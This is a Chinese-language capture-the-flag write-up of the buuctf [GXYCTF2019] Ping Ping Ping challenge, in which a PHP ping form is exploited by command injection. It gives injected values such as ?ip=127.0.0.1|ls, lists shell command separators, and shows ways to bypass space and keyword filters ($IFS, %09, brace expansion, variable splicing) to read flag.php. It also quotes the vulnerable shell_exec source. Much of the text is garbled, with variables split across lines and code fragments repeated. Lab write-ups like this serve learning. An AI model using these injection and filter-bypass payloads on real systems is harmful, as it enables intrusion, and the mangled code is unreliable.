buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目
打开环境后
只有一个/ip=? 应该是提示用get的方式来传参一个地址执行ping的操作 直接ping127.0.0.1 回显ping127.0.0.1的数据 说明是一道命令执行的题目 执行:?ip=127.0.0.1|ls 其中|的作用是命令分隔符 还有相关的符号 ; --在 shell 中,是”连续指令” & --不管第一条命令成功与否,都会执行第二条命令 && --第一条命令成功,第二条才会执行 | --第一条命令的结果,作为第二条命令的输入 || --第一条命令失败,第二条才会执行 这里采用|来执行 如果全部过滤 过滤了命令分割符,用%0a便可以分隔命令进行查看 127.0.0.1%0als
回显两个文件 直接访问flag.php 回显有过滤空格
既然过滤空格就绕过空格 常见的绕过符号有: $IFS
9
、
9 、
9、IFS
1
、
1、
1、{IFS} 、%09(php环境下)、 重定向符<>、<、 {cat,flag.php} //用逗号实现了空格功能
采用{cat,flag.php} //用逗号实现了空格功能 构造payload:?ip=127.0.0.1|cat,flag.php 回显过滤了flag这个字符串 尝试拼接绕过; a=fl;b=ag;
a
a
ab 构造:cat,a=fl;b=ag;
a
a
ab 回显相同 说明这种绕过方式没有用 那就先看一下index.php 构造:/?ip=127.0.0.1|cat,index.php 回显: 应该是,不能代替空格绕过 换一个?ip=127.0.0.1|cat%09index.php 回显: 再换 ?ip=127.0.0.1|cat$IFS$2index.php 回显 /?ip= |’|"|\|(|)|[|]|{|}/",
i
p
,
ip,
ip,匹配)){ 回preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|"|\|(|)|[|]|{|}/",
i
p
,
ip,
ip,匹配); die(“fxck你的符号!”); }else if(preg_match("//",
i
p
)
)
d
i
e
(
"
f
x
c
k
你
的
空
间
!
"
)
;
e
l
s
e
i
f
(
p
r
e
g
m
a
t
c
h
(
"
/
b
a
s
h
/
"
,
ip)){ die("fxck你的空间!"); }else if(preg_match("/bash/",
ip))die("fxck你的空间!");elseif(pregm?atch("/bash/",ip)){ die(“fxck您的庆典!”); }else if(preg_match("/.*f.*l.*a.g./", $ip)){ die(“fxck你的标志!”); }
a
=
s
h
e
l
l
e
x
e
c
(
"
p
i
n
g
?
c
4
"
.
a=shell_exec("ping-c4".
a=shelle?xec("ping?c4".ip); echo"
"; print_r($a); }
?>
发现过滤了很多包括空格、一些符号/.*f.*l.*a.g./、flag
构造拼接绕过?ip=127.0.0.1;a=g;cat$IFS
1
f
l
a
1fla
1flaa.php
在源代码中找到flag
|